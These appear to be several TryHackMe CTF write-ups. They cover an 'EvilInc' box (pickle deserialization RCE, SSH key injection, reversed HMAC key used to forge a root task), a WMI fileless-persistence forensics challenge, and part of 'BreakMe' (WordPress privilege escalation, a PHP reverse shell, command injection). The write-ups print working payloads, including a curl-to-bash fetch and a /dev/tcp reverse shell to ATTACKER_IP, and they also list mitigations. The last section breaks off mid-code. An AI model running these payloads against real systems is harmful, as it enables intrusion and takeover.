    def __reduce__(self):
        return (GetSystemFunc(), ('id > /tmp/pwned_test 2>&1',))

payload = base64.b64encode(pickle.dumps(Exploit())).decode()
print(payload)

Confirming RCE as vanessa:

curl -s -b cookies.txt -X POST http://127.0.0.1:8700/api/blueprints/import \
  --data-urlencode "blueprint=$(python3 exploit.py)"

{"loaded":"0","ok":true}

cat /tmp/pwned_test
uid=1002(vanessa) gid=1003(vanessa) groups=1003(vanessa),1001(evilinc)

SSH Access as Vanessa

Using the pickle RCE to inject an SSH public key:

cmd = 'mkdir -p /home/vanessa/.ssh && \
  echo "<PUBKEY>" >> /home/vanessa/.ssh/authorized_keys && \
  chmod 700 /home/vanessa/.ssh && \
  chmod 600 /home/vanessa/.ssh/authorized_keys && \
  chown -R vanessa:vanessa /home/vanessa/.ssh'

ssh -i vanessa_key vanessa@127.0.0.1

User Flag 2 (Operator)

vanessa@tryhackme-2404:~$ cat /home/vanessa/operator.txt
EVILINC{REDACTED}

Privilege Escalation - vanessa to root

C2 Tasking Socket

vanessa is in the evilinc group, which has write access to the C2 implant's
Unix domain socket:

ls -la /run/evilinc/tasking.sock
srw-rw---- 1 root vanessa 0 Aug  8 07:52 /run/evilinc/tasking.sock

The root-running implant (/opt/evilinc/implant) polls this socket for tasks. It
supports two verbs via POLL <id> and SUBMIT <id>|<type>|<cmd>|<nonce>|<sig>.
A valid signature is required or the server returns ERR. The implant supports two
task types: sysinfo and exec - the latter passes cmd directly to system().

Reverse-Engineering the HMAC Signing Key

Disassembling the binary confirmed HMAC-SHA256 for signature verification. The key
derivation was determined from .rodata and the disassembly:

A 32-byte LCPRNG keystream is generated from seed 0x1a2b3c4d using the
classic LCG formula: s = (s * 0x41c64e6d + 0x3039) & 0xFFFFFFFF, taking
(s >> 16) & 0xFF each iteration.
That keystream is XOR'd against a 32-byte constant blob embedded in .rodata
at offset 0x2020:

   1588c57c 026ae5eb 9c2d1817 af48f709
   64efff76 5e58d112 d8f116d7 0f9941b4

This produces the raw signing secret.

The signing key is then HMAC-SHA256(raw_secret, machine_id) where machine_id is read from /etc/machine-id.

The full key derivation in Python:

import hmac, hashlib

def keystream(n, seed=0x1a2b3c4d):
    s = seed
    out = bytearray()
    for _ in range(n):
        s = (s * 0x41c64e6d + 0x3039) & 0xFFFFFFFF
        out.append((s >> 16) & 0xFF)
    return bytes(out)

cipher = bytes.fromhex(
    "1588c57c026ae5eb9c2d1817af48f709"
    "64efff765e58d112d8f116d70f9941b4"
)
ks = keystream(32)
blob = bytes(a ^ b for a, b in zip(ks, cipher))

machine_id = open("/etc/machine-id").read().strip()
signing_key = hmac.new(blob, machine_id.encode(), hashlib.sha256).digest()

Forging a Malicious Task

With the signing key recovered, a valid exec task is forged to SUID bash:

task_id = "9999999"
task_type = "exec"
cmd = "chmod u+s /bin/bash"
nonce = "1"

msg = f"{task_id}|{task_type}|{cmd}|{nonce}"
sig = hmac.new(signing_key, msg.encode(), hashlib.sha256).hexdigest()
submit = f"SUBMIT {task_id}|{task_type}|{cmd}|{nonce}|{sig}"

sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
sock.connect("/run/evilinc/tasking.sock")
sock.send(submit.encode() + b"\n")
print(sock.recv(64).decode())

OK

The implant (running as root) picks up the task within its 3-second sleep cycle
and executes the command:

sleep 4
/bin/bash -p

bash-5.2# id
uid=1002(vanessa) gid=1003(vanessa) euid=0(root) groups=1003(vanessa),1001(evilinc)

Root Flag

bash-5.2# cat /root/root.txt
EVILINC{REDACTED}

Key Vulnerabilities

#	Vulnerability	Location	Impact
1	WordPress REST batch-route confusion SQLi (CVE-2026-63030)	`/wp-json/` batch endpoint	Pre-auth administrator creation
2	Post-auth arbitrary file write via Theme File Editor	`/wp-admin/theme-editor.php`	RCE as `www-data`
3	Plaintext credentials in custom WordPress DB table	`wp_infra_accounts`	Lateral movement to `norm`
4	Operator secret readable by group members	`/etc/evilinc/panel.conf`	Authentication to internal panel
5	Restricted pickle unpickler bypass via `pydoc.locate`	`/api/blueprints/import`	RCE as `vanessa`
6	Roll-your-own crypto: LCPRNG keystream XOR + HMAC	`/opt/evilinc/implant`	Signing key recovery and task forgery
7	Root task execution without output validation	`evilinc-implant.service`	Privilege escalation to root

Attack Chain

[nmap: port 80 WordPress 6.9, port 22 SSH pubkey-only]
        |
        v
[wpscan: user `heinz`, CVE-2026-63030 confirmed]
        |
        v
[wp2shell: pre-auth SQLi -> admin created (wp2_a5fdae0313e0)]
        |
        v
[Theme File Editor: PHP reverse shell -> contact-info-locations.php]
        |
        v
[curl trigger -> reverse shell as www-data]
        |
        v
[wp-config.php: DB creds wpuser:wp_WjURfdI]
        |
        v
[MySQL wp_infra_accounts: norm:N0rm_th3_r0b0t_2026]
        |
        v
[su norm -> user.txt captured]
        |
        v
[evilinc group -> /etc/evilinc/panel.conf -> operator_secret]
        |
        v
[Port 8700 panel login -> /api/blueprints/import]
        |
        v
[pydoc.locate pickle bypass -> RCE as vanessa]
        |
        v
[SSH key injection -> operator.txt captured]
        |
        v
[/run/evilinc/tasking.sock (group vanessa)]
        |
        v
[Implant binary RE: LCPRNG keystream XOR -> base key -> HMAC(key, machine_id)]
        |
        v
[Forge SUBMIT exec|chmod u+s /bin/bash -> /bin/bash -p -> root]
        |
        v
[root.txt captured]

Mitigations

Keep WordPress and all plugins patched. CVE-2026-63030 was fixed in WordPress 6.9.5; a one-version lag was enough to fully compromise the host.
Never store plaintext infrastructure credentials in a database accessible to the web application user. A dedicated secrets manager or encrypted vault should be used.
Disable the WordPress Theme/Plugin File Editor in production (define('DISALLOW_FILE_EDIT', true) in wp-config.php).
Pickle deserialization of untrusted input is inherently unsafe regardless of what a restricted unpickler blocks. Any allowlist-based approach can be bypassed by finding an unblocked callable that resolves to a dangerous function at runtime. Accept only JSON or other safe serialization formats for user-supplied data.
Do not roll your own cryptography. An LCPRNG-seeded keystream XOR is not a cipher - the seed and output transformation are trivially reversed from a static binary. Use established authenticated encryption (AES-GCM, ChaCha20-Poly1305) with keys generated by a CSPRNG and stored securely outside the binary.
Services that accept tasking from a Unix socket should authenticate the connecting peer (e.g. via SO_PEERCRED) rather than relying solely on filesystem permissions plus an HMAC that can be forged once the key is recovered from the binary.

TryHackMe : After Hours Writeup

Yogeshwar Peela — Sat, 08 Aug 2026 03:19:35 +0000

Summary

The provided archive contains a raw dump of a Windows CIM repository - the
backing store for WMI (INDEX.BTR, MAPPING1.MAP, MAPPING2.MAP,
MAPPING3.MAP, OBJECTS.DATA, normally found at
C:\Windows\System32\wbem\Repository\). Buried inside OBJECTS.DATA is a
three-stage fileless persistence chain: a CommandLineEventConsumer (classic
WMI persistence) launches PowerShell, which pulls a second-stage payload out
of a custom, disguised WMI class property, decompresses it into a .NET
assembly, and loads it entirely in memory. That assembly is a machine-name
gated backdoor account creator - its net user /add command line contains
the flag, base64-encoded as the account password.

CommandLineEventConsumer (WMI persistence)
        |
        v
powershell.exe -enc <base64> (stage 1 script)
        |
        v
reads ROOT\cimv2:Win32_HardwareTelemetry.ConfigData (disguised as telemetry)
        |
        v
base64-decode -> raw DEFLATE decompress -> in-memory .NET assembly (stage 2)
        |
        v
Assembly.Load(...).EntryPoint.Invoke() - runs entirely in the PowerShell process
        |
        v
checks Environment.MachineName == "bytelotusdc"
        |
        v
cmd.exe /c net user patch <base64> /add
        |
        v
base64 decodes to the flag

Identifying the Artifact

The archive extracts to five files with no extension hints, so the first
step was figuring out what they actually are:

unzip attachments.zip
ls -la

INDEX.BTR
MAPPING1.MAP
MAPPING2.MAP
MAPPING3.MAP
OBJECTS.DATA

file reported all five as generic data - no magic bytes to go on
directly. The filenames themselves are the giveaway, though: INDEX.BTR,
MAPPING<n>.MAP, and OBJECTS.DATA is the exact file layout Windows uses
for its WMI object repository (the "CIM repository"). Three rotating
MAPPING*.MAP files (a common pattern for crash-consistent writes - two or
three generations of the same mapping table so a crash mid-write doesn't
corrupt the whole database) all but confirmed it, and a quick string scan
sealed it:

strings -e l -n 4 OBJECTS.DATA | grep -iE "EventFilter|EventConsumer|CIM_|__Win32Provider"

CIM_UserDevice
ActiveScriptEventConsumer
CommandLineEventConsumer
__EventFilter
__FilterToConsumerBinding

These are stock WMI schema class names (__EventFilter,
__FilterToConsumerBinding, and the built-in event consumer classes) - this
is a genuine CIM repository, most likely lifted from root\subscription /
root\default on a compromised or lab Windows host.

Ruling Out the Easy Path

The obvious first move - grep the raw bytes for the flag format directly -
came up empty:

import glob

targets = [b'THM{', 'T\x00H\x00M\x00{\x00'.encode('latin1')]
for fn in glob.glob('*'):
    data = open(fn, 'rb').read()
    for t in targets:
        if t in data:
            print(fn, "hit")

No hits in either ASCII or UTF-16LE, in any of the five files. A broader
case-insensitive sweep for flag, thm, ctf did return hits - but every
single one turned out to be a false positive from legitimate WMI schema text
(algorithm, CIM_ProductFRU, PredictFailure, and similar stock property
descriptions). This is an unmodified, stock CIM schema on the surface - the
interesting content had to be hidden inside an actual instance, not the
schema itself.

Finding the Persistence Mechanism

Rather than trying to fully reverse-engineer the CIM object-store binary
format (a real undertaking - Mandiant's flare-wmi/python-cim project
exists specifically because this format is nontrivial and undocumented by
Microsoft), a targeted search for known WMI-abuse indicators was much faster
and got a hit immediately:

import re

data = open('OBJECTS.DATA', 'rb').read()
for kw in [b'powershell', b'-enc', b'IEX', b'FromBase64String', b'cmd.exe']:
    idxs = [m.start() for m in re.finditer(re.escape(kw), data)]
    if idxs:
        print(kw, len(idxs), idxs[:5])

b'powershell' 6 [1308878, 10254542, 18188606, 18421999, 22173902]
b'-enc' 4 [1308918, 10254582, 22173942, 22477046]

Pulling the context around one of the -enc hits landed directly on the
persistence object:

...CommandLineEventConsumer\x00\x00cmd /C powershell.exe -Sta -Nop -Window Hidden -enc JABmAGkAbABlACAAPQAg...

A CommandLineEventConsumer is one of the two classic WMI event-consumer
types abused for fileless persistence (the other being
ActiveScriptEventConsumer) - paired with a __EventFilter and a
__FilterToConsumerBinding, it lets an attacker run an arbitrary command
line every time a WMI event fires (logon, a timer interval, process
creation, etc.), with no file ever touching disk for the initial trigger.
The same object appeared four times at different offsets in the file -
consistent with the CIM repository's own internal versioning (older
generations of the same object surviving in unallocated/log regions), which
is itself a normal and expected artifact of how the repository is written.

Decoding Stage 1 (PowerShell)

-enc payloads in PowerShell are always base64-encoded UTF-16LE - decoded
directly:

import base64

b64 = b"JABmAGkAbABlACAAPQAg..."  # full string extracted from OBJECTS.DATA
decoded = base64.b64decode(b64 + b'=' * (-len(b64) % 4))
print(decoded.decode('utf-16le'))

$file = ([WmiClass]'ROOT\cimv2:Win32_HardwareTelemetry').Properties['ConfigData'].Value;
$o = New-Object IO.MemoryStream;
$d = New-Object IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String($file),[IO.Compression.CompressionMode]::Decompress);
$b = New-Object Byte[](1024);
$r = $d.Read($b,0,1024);
while($r -gt 0){
    $o.Write($b,0,$r);
    $r = $d.Read($b,0,1024);
}
[Reflection.Assembly]::Load($o.ToArray()).EntryPoint.Invoke($null,@(,[string[]]@()))|Out-Null

This script doesn't do anything malicious by itself - its entire job is to
read a second payload out of a disguised WMI class property
(Win32_HardwareTelemetry.ConfigData - a plausible-sounding but entirely
custom class, not a real Windows telemetry class), base64-decode it, run it
through a raw DEFLATE decompressor, and load the result directly into memory
as a .NET assembly via reflection - then invoke its entry point. No second
file ever touches disk; the whole second stage lives only inside the
PowerShell process's memory.

Extracting Stage 2 (the .NET assembly)

Located and extracted the Win32_HardwareTelemetry.ConfigData string value
from OBJECTS.DATA (found via the same class/property name pair, immediately
following a string\x00\x00 type marker in the object's property table):

import re, base64, zlib

data = open('OBJECTS.DATA', 'rb').read()
idx = data.find(b'Win32_HardwareTelemetry')
marker = b'string\x00\x00'
pos = data.find(marker, idx)
start = pos + len(marker)
end = data.find(b'\x00', start)
b64 = data[start:end]

compressed = base64.b64decode(b64 + b'=' * (-len(b64) % 4))
decompressed = zlib.decompress(compressed, -15)  # raw DEFLATE, no zlib header
open('payload.exe', 'wb').write(decompressed)

file payload.exe

payload.exe: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows, 3 sections

A genuine 4 KB .NET assembly dropped straight out of a WMI property value -
this confirms the entire chain was a working fileless persistence /
logic-bomb setup, not just a red herring.

Reversing the Payload

ASCII strings gave the .NET metadata (type names, method names) but not the
runtime string literals, which .NET stores separately in the User String
(#US) heap as UTF-16:

strings -n 4 payload.exe

<Module>
updates.exe
Program
AfterHours
Environment
get_MachineName
ProcessStartInfo
set_FileName
set_Arguments
Console
WriteLine

This much confirms the shape of the logic: read the machine name, compare
it, and conditionally start a process. The actual comparison value and the
command line only showed up in the UTF-16 string scan:

strings -e l -n 4 payload.exe

bytelotusdc
cmd.exe
/c net user patch <REDACTED_B64> /add
Execution halted: Environment mismatch.

Putting the decompiled logic back together:

if (Environment.MachineName.Equals("bytelotusdc")) {
    var psi = new ProcessStartInfo {
        FileName = "cmd.exe",
        Arguments = "/c net user patch <REDACTED_B64> /add",
        WindowStyle = ProcessWindowStyle.Hidden,
        CreateNoWindow = true
    };
    Process.Start(psi);
} else {
    Console.WriteLine("Execution halted: Environment mismatch.");
}

This is a machine-name-gated backdoor: on a host named exactly
bytelotusdc (almost certainly the domain controller in the "Byte Lotus"
environment this repository was pulled from), it silently creates a local
account named patch with a base64-encoded password - and does nothing
observable at all on any other host, which is what kept it from surfacing in
the earlier broad string searches for flag/thm/ctf.

Decoding the Flag

import base64
print(base64.b64decode('<REDACTED_B64>').decode())

THM{REDACTED}

The backdoor's password is the flag, base64-encoded - a fitting final step
for a challenge built entirely around obfuscation layered on top of
obfuscation.

Key Findings

#	Layer	Technique	Purpose
1	WMI persistence	`CommandLineEventConsumer` running `powershell.exe -enc ...`	Execution trigger, no file dropped for stage 1
2	Stage 1 (PowerShell)	Reads a custom WMI class property (`Win32_HardwareTelemetry.ConfigData`), base64 + raw-DEFLATE decodes it	Retrieves stage 2 from a disguised, fileless storage location
3	Stage 2 (.NET assembly)	Loaded and invoked entirely via `Reflection.Assembly.Load(...)` in memory	Runs the actual payload logic with no second file on disk
4	Payload logic	`Environment.MachineName` equality check	Limits execution to a specific named host, evading generic detection/sandboxes
5	Payload action	`net user patch <base64> /add`	Creates a hidden local backdoor account; password doubles as the flag

Indicators of Compromise

WMI class Win32_HardwareTelemetry with a string property ConfigData - not a real Windows/CIM class, and any class holding a large base64 blob in an otherwise plausible-sounding property is worth treating as suspicious.
CommandLineEventConsumer invoking powershell.exe with -enc and referencing [WmiClass] / .Properties[...] in the decoded command - a strong signal of WMI-as-storage abuse, not just WMI-as-trigger.
Local account named patch created outside of normal patch-management tooling, on a host matching the hardcoded bytelotusdc machine name check.
net user ... /add launched as a child of cmd.exe, itself a child of powershell.exe, itself triggered by WmiPrvSE.exe / scrcons.exe rather than an interactive logon - the expected process lineage for WMI event consumer execution.

Detection & Mitigation Recommendations

Monitor and alert on __EventFilter, __EventConsumer, and __FilterToConsumerBinding instance creation in root\subscription (and root\default on older systems) - legitimate use of WMI event subscriptions outside of known management tooling (SCCM, monitoring agents) is rare.
Treat any custom, non-Microsoft WMI class as suspicious if it stores large string/blob properties - this is a known technique for fileless payload storage precisely because the CIM repository is rarely inspected and persists across reboots.
Enable and review PowerShell Script Block Logging (Event ID 4104) - it captures the decoded content of -enc payloads, which would have surfaced this entire chain immediately without manual base64/DEFLATE work.
Alert on Reflection.Assembly.Load / .EntryPoint.Invoke patterns in captured script blocks - reflective, in-memory .NET assembly loading from PowerShell is a strong red flag with very few legitimate use cases.
Baseline and alert on local account creation (net user /add, New-LocalUser) outside of change-managed windows, especially when the parent process chain traces back through WmiPrvSE.exe.

Attack Chain

[CIM repository dump: INDEX.BTR + MAPPING1-3.MAP + OBJECTS.DATA]
        |
        v
[identified as C:\Windows\System32\wbem\Repository via filenames + schema strings]
        |
        v
[direct "THM{" / "flag" / "ctf" string search - all false positives, stock WMI schema]
        |
        v
[targeted search for -enc / powershell / IEX -> hits CommandLineEventConsumer]
        |
        v
[CommandLineEventConsumer runs: cmd /C powershell.exe -enc <base64>]
        |
        v
[stage 1 decoded: reads ROOT\cimv2:Win32_HardwareTelemetry.ConfigData]
        |
        v
[ConfigData located in OBJECTS.DATA -> base64-decoded -> raw DEFLATE decompressed]
        |
        v
[stage 2 recovered: 4KB .NET assembly (payload.exe), loaded via Reflection.Assembly.Load]
        |
        v
[reversed: checks Environment.MachineName == "bytelotusdc"]
        |
        v
[if matched: cmd.exe /c net user patch <base64> /add]
        |
        v
[base64 password decoded -> flag]

TryHackMe : BreakMe Writeup

Yogeshwar Peela — Sat, 08 Aug 2026 03:12:30 +0000

Summary

BreakMe is a Debian box running Apache with a WordPress install under /wordpress. A vulnerable
plugin (WP Data Access 5.3.5) lets a low-privileged WordPress user escalate to Administrator by
tampering with a profile-update request. From there, the WordPress Theme Editor gives arbitrary
PHP execution, landing a www-data shell. An internal-only web service on port 9999 turns out to
be vulnerable to OS command injection, pivoting to the user john. From john, a TOCTOU race
condition against a SUID binary owned by youcef leaks youcef's SSH private key, which is
then cracked offline to get a shell as youcef. Finally, a restricted sudo rule lets youcef
run a Python "jail" script as root, which is escaped using str.swapcase() to defeat a
keyword blacklist, giving a full root shell. Full attack chain is diagrammed at the end.

Recon

nmap -A -Pn <TARGET_IP> -o nmap

Two open ports:

Port	Service	Version
22	ssh	OpenSSH 8.4p1 Debian 5+deb11u1
80	http	Apache 2.4.56 (Debian)

The root of the web server just serves the default "Apache2 Debian Default Page". Content
discovery was needed to find anything interesting.

dirsearch -u http://<TARGET_IP>/ -C 403,404
ffuf -u http://<TARGET_IP>/ -H "HOST: FUZZ.<TARGET_IP>" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -ac
ffuf -u http://<TARGET_IP>/FUZZ -w /usr/share/wordlists/dirb/big.txt
feroxbuster -u http://<TARGET_IP>/

ffuf/feroxbuster against big.txt turned up two directories of interest:

manual                  [Status: 301, Size: 313, ...]
wordpress               [Status: 301, Size: 316, ...]

/manual/ is just the stock Apache manual (noise). /wordpress/ is the real target - a live
WordPress site called "Breakme".

Enumeration - WordPress

Fetching /wordpress/ shows a WordPress site using the Twenty Twenty-Four theme, generator
tag confirming WordPress 6.4.3, and a plugin reference to wp-data-access in the page source.

wpscan was used to enumerate plugins, users, and versions:

wpscan --url http://<TARGET_IP>/wordpress/ --api-token <TOKEN> -e vp,vt,u

Key findings:

WordPress 6.4.3 - outdated, several disclosed vulnerabilities.
Plugin WP Data Access, version 5.3.5 - badly outdated (latest at the time was 5.5.80), with multiple known CVEs including an unauthenticated SQL injection and, critically, a privilege escalation bug (CVE-2023-1874, fixed in 5.3.8).
Users enumerated via REST API / author brute force: admin, bob.

A password attack against wp-login with the two known usernames found valid credentials:

wpscan --url http://<TARGET_IP>/wordpress/ -U admin,bob -P /usr/share/wordlists/rockyou.txt

[SUCCESS] - bob / soccer

Initial Foothold - Privilege Escalation to WordPress Administrator

Logging in as bob (bob / soccer) lands on a normal Subscriber/Author-level dashboard - not an
admin. The outdated WP Data Access plugin is known to be vulnerable to a privilege escalation
issue, documented by Wordfence:
Privilege Escalation Vulnerability Patched Promptly in WP Data Access WordPress Plugin.
The plugin adds an extra parameter, wpda_role[], to the profile-update form that isn't properly
authorized server-side.

The exploitation is simple request tampering:

Go to Profile in the WordPress admin dashboard as bob.
Intercept the POST /wordpress/wp-admin/profile.php request in Burp Suite when clicking "Update Profile".
Append &wpda_role[]=administrator to the POST body.
Forward the request, refresh the dashboard.

bob is now listed as an Administrator alongside admin.

Note: getting a value wrong here can lock you out of the dashboard entirely, requiring a
machine restart - worth being careful and double-checking the request before forwarding.

Remote Code Execution - Theme Editor

With Administrator access, the built-in Theme File Editor (Appearance > Theme File Editor /
Tools > Theme File Editor) allows editing arbitrary PHP files inside any installed theme. This
is a well-documented WordPress admin-panel-to-RCE technique, covered by HackTricks:
WordPress - Panel RCE.

Steps:

Select a theme that isn't the active one and has a template with a .php extension - in this case, Twenty Twenty-One has 404.php.
Paste a PHP reverse shell (pentestmonkey's classic payload, grabbed from revshells.com) into 404.php and click "Update File".
Trigger the payload by requesting the file directly:

http://<TARGET_IP>/wordpress/wp-content/themes/twentytwentyone/404.php

Caught the callback with penelope:

penelope -p 4444 listen
[+] [New Reverse Shell] => Breakme <TARGET_IP> Linux-x86_64 👤 www-data(33) Session ID <1>
[+] Upgrading shell to PTY...

www-data@Breakme:/$ whoami
www-data
www-data@Breakme:/$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Post-Exploitation Recon as www-data

www-data@Breakme:/$ ls /home
john  lost+found  youcef
www-data@Breakme:/$ cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
john:x:1002:1002:john wick,14,14,14:/home/john:/bin/bash
youcef:x:1000:1000:youcef,17,17,17:/home/youcef:/bin/bash

Both john and youcef's home directories, and john's flag (user1.txt), are permission-denied
from www-data. Checking listening services:

www-data@Breakme:/$ ss -tulnp
tcp   LISTEN   127.0.0.1:3306       # MySQL, local only
tcp   LISTEN   127.0.0.1:9999       # interesting - internal only
tcp   LISTEN   0.0.0.0:22
tcp   LISTEN   *:80

Port 9999 is only bound to loopback, so it's not reachable from outside - but www-data can
reach it locally:

www-data@Breakme:/$ curl http://localhost:9999/

<html>
<head>
        <title>Test</title>
        <style>
                .checkTarget{ position:absolute; width:calc(30%); height:450px; top:calc(10%);
                left:calc(2.5%); border:3px solid green; border-radius:5%;
                background-color:rgb(180,220,180); text-align:center; }
                .checkUser{ position:absolute; width:calc(30%); height:450px; top:calc(10%);
                left:calc(35%); border:3px solid green; border-radius:5%;
                background-color:rgb(180,220,180); text-align:center; }
                .checkFile{ position:absolute; width:calc(30%); height:450px; top:calc(10%);
                left:calc(67.5%); border:3px solid green; border-radius:5%;
                background-color:rgb(180,220,180); text-align:center; }
                body{ background-color:rgb(200,200,200); }
        </style>
</head>
<body>
        <h1 style="color:rgb(50,100,50);">My Tools:</h1>
        <!--Only numerical IPs allowed -->
        <div class="container">
        <form class="checkTarget" method="POST">
                <h3>Check Target:</h3>
                <input name="cmd1" type="text" placeholder="Target IP" />
                <input type="submit" value="Run" />
                <h3>Result:</h3><div class="output"><pre></pre></div>
        </form>
        <form class="checkUser" method="POST">
                <h3>Check User:</h3>
                <input name="cmd2" type="text" placeholder="User name" />
                <input type="submit" value="Run" />
                <h3>Result:</h3><div class="output"><pre></pre></div>
        </form>
        <form class="checkFile" method="POST">
                <h3>Check File:</h3>
                <input name="cmd3" type="text" placeholder="File name" />
                <input type="submit" value="Run" />
                <h3>Result:</h3><div class="output"><pre></pre></div>
        </form>
        </div>
</body>
</html>

A small internal admin tool ("My Tools") with three POST forms:

cmd1 - "Check Target" (takes an IP)
cmd2 - "Check User" (takes a username)
cmd3 - "Check File" (takes a filename)

Command Injection on the Internal "My Tools" App

Testing cmd1 with a real IP confirms it runs a genuine ping:

www-data@Breakme:/$ curl -s -X POST http://localhost:9999/ --data 'cmd1=<ATTACKER_IP>'

Confirmed with tcpdump on the attacker box - real ICMP traffic arrives:

tcpdump -i tun0 icmp
09:07:56 IP <TARGET_IP> > <ATTACKER_IP>: ICMP echo request, id 20588, seq 1
09:07:56 IP <ATTACKER_IP> > <TARGET_IP>: ICMP echo reply, id 20588, seq 1

Probing cmd2/cmd3 for the filter

cmd1 turned out to be locked down tightly to digits and dots - a dead end for injection. cmd2
and cmd3 echo back "not found" style messages, so each probe was tried and the reflected output
inspected to work out what characters/substrings survive the filter:

www-data@Breakme:/$ curl -X POST http://localhost:9999/ --data 'cmd2=$(id)'
...
<pre>User $id not found</pre>

$(...) command substitution was stripped down to a bare $id - the parentheses got filtered out,
so that syntax was a dead end.

www-data@Breakme:/$ curl -s -X POST http://localhost:9999/ --data 'cmd2=|'
...
<pre>User | not found</pre>

A bare pipe character survives untouched - meaning | isn't in the denylist.

www-data@Breakme:/$ curl -s -X POST http://localhost:9999/ \
  --data-urlencode 'cmd2=!@#$%^&*()_+={}[]:;'"'"'"<>,?/\'
...
<pre>User ${}:/ not found</pre>

Throwing a wall of special characters at it and seeing what comes back shows exactly which
characters pass the filter unmodified: $, {, }, :, / all survived; everything else
(!@#%^&*()+=[];'"<>,?\) was stripped.

www-data@Breakme:/$ curl -X POST http://localhost:9999/ --data 'cmd2=|ping${IFS}localhost'
...
<pre>User |ping${IFS}localhost not found</pre>

${IFS} (used as a space substitute to dodge a naive space filter) survives completely intact.

www-data@Breakme:/$ curl -X POST http://localhost:9999/ --data 'cmd2=|ping$(IFS)localhost'
...
<pre>User |ping$IFSlocalhost not found</pre>

For comparison, $(IFS) gets its parentheses stripped just like $(id) did earlier - confirming
parentheses specifically are filtered, while {/} are not.

Putting it together: a leading pipe, followed by a command using ${IFS} in place of spaces,
survives completely intact:

www-data@Breakme:/$ curl -X POST http://localhost:9999/ --data 'cmd2=|ping${IFS}<ATTACKER_IP>'

Confirmed again via tcpdump - real ICMP traffic from the target. This is a working OS command
injection in the cmd2 parameter.

Once a shell was landed (see below), the app's actual source turned up at ~/internal/index.php,
confirming exactly what was inferred by probing:

function run($command,$value){
    if($command=="cmd1"){
        if(isvalidip($value)&&!preg_match("/[^0-9.]/",$value)){
            $output=shell_exec("ping -c 2 $value >/dev/null 2>&1 &");
            echo htmlspecialchars($output);
        }else{ echo "Invalid IP address"; }
    }
    else if($command=="cmd2"){
        $val=preg_replace("/[^a-zA-Z0-9\|\$\{\}\/\:.]/","",$value);
        $output=shell_exec("id $val >/dev/null 2>&1 &");
        ...
    }
    else{
        if(!preg_match("/[^a-zA-Z]/",$value)){
            $output=shell_exec("find /opt -name \"$value\" 2>/dev/null");
            ...
        }else{ echo "Invalid Filename"; }
    }
}

cmd2's filter, [^a-zA-Z0-9\|\$\{\}\/\:.], is a denylist regex that strips everything except
letters, digits, and the specific characters | $ { } / : . - exactly matching what the probing
found, and exactly the characters needed to build a working shell command using | and ${IFS}.

Getting a shell

Hosted a one-line reverse shell script and a python3 -m http.server on the attacker box, then
pulled and executed it through the injection:

# attacker
cat > shell.sh << 'EOF'
/bin/bash -i >& /dev/tcp/<ATTACKER_IP>/3333 0>&1
EOF
python3 -m http.server 80

# via injection
curl -X POST http://localhost:9999/ --data 'cmd2=|curl${IFS}http://<ATTACKER_IP>/shell.sh${IFS}|${IFS}bash'

penelope -p 3333 listen
[+] [New Reverse Shell] => Breakme <TARGET_IP> Linux-x86_64 👤 john(1002) Session ID <1>

john@Breakme:~/internal$ whoami
john
john@Breakme:~/internal$ id
uid=1002(john) gid=1002(john) groups=1002(john)
john@Breakme:~/internal$ cat /home/john/user1.txt
[REDACTED]

The internal service turned out to run as john, so the command injection landed a shell as that
user directly - the first flag along with it.

Privilege Escalation to youcef - TOCTOU Race Condition

youcef's home directory contains a SUID binary, readfile, and its source:

john@Breakme:/home/youcef$ ls -la
-rwsr-sr-x 1 youcef youcef 17176 Aug  2  2023 readfile
-rw------- 1 youcef youcef  1026 Aug  2  2023 readfile.c
drwx------ 2 youcef youcef  4096 Aug  5  2023 .ssh
john@Breakme:/home/youcef$ cat readfile.c
cat: readfile.c: Permission denied

readfile.c isn't readable as john - only the compiled, SUID-set readfile binary is. Rather
than fly blind, the binary was pulled across to the attacker box and reverse engineered.

Reverse engineering the binary

john@Breakme:/home/youcef$ python3 -m http.server 80
PermissionError: [Errno 13] Permission denied
john@Breakme:/home/youcef$ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

Port 80 needs root to bind, so 8000 was used instead. readfile.c was also requested on the off
chance it was somehow servable - it wasn't (404, as expected given the permissions above):

# attacker
wget http://<TARGET_IP>:8000/readfile
wget http://<TARGET_IP>:8000/readfile.c
--2026-08-07 09:35:12--  http://<TARGET_IP>:8000/readfile.c
HTTP request sent, awaiting response... 404 File not found

root@kali:~# file readfile
readfile: ELF 64-bit LSB pie executable, x86-64, ... dynamically linked, ... not stripped

root@kali:~# strings readfile
...
Usage: ./readfile <FILE>
File Not Found
You can't run this program
flag
id_rsa
Nice try!
I guess you won!
readfile.c
fd >= 0 && "Failed to open the file"
...
puts@GLIBC_2.2.5  write@GLIBC_2.2.5  __lxstat@GLIBC_2.2.5  getuid@GLIBC_2.2.5
__assert_fail@GLIBC_2.2.5  read@GLIBC_2.2.5  open@GLIBC_2.2.5  access@GLIBC_2.2.5
strstr@GLIBC_2.2.5  usleep@GLIBC_2.2.5

Not stripped, so objdump -d -Mintel readfile shows readable, named function calls in main. The
logical flow that falls out of it:

access(argv[1], F_OK) - the file must exist, else "File Not Found".
getuid() compared against 0x3ea (1002 in decimal, i.e. john's UID) - if the caller isn't john, "You can't run this program".
strstr(argv[1], "flag") and strstr(argv[1], "id_rsa") - the filename is checked for those substrings.
__lstat (i.e. lstat()) on the path, then a bitmask check against S_IFMT/S_IFLNK (0xa000) - a symlink check.
access(argv[1], R_OK) - a readability check.
If any of the flag/id_rsa/symlink/unreadable checks trip, "Nice try!". Otherwise "I guess you won!", then open() + read()/write() loop to dump the file to stdout.

The interesting part reverse engineering surfaced: lstat() (step 4) and open() (step 6) are
two separate syscalls against the same path, with usleep() in between - a classic TOCTOU gap.
This was confirmed for certain once the actual source was read later as youcef:

int main(int argc, char **argv, char **envp) {
    ...
    }else if(getuid()!=1002){
        puts("You can't run this program");
        return 1;
    }

    char *flag = strstr(argv[1], "flag");
    char *id_rsa = strstr(argv[1], "id_rsa");
    lstat(argv[1], &lstat_buf);
    int symlink_check = (S_ISLNK(lstat_buf.st_mode));
    int res = access(argv[1], R_OK);
    usleep(0.8);

    if (flag || symlink_check || res==-1 || id_rsa) {
        puts("Nice try!");
        return 1;
    } else {
        puts("I guess you won!\n");
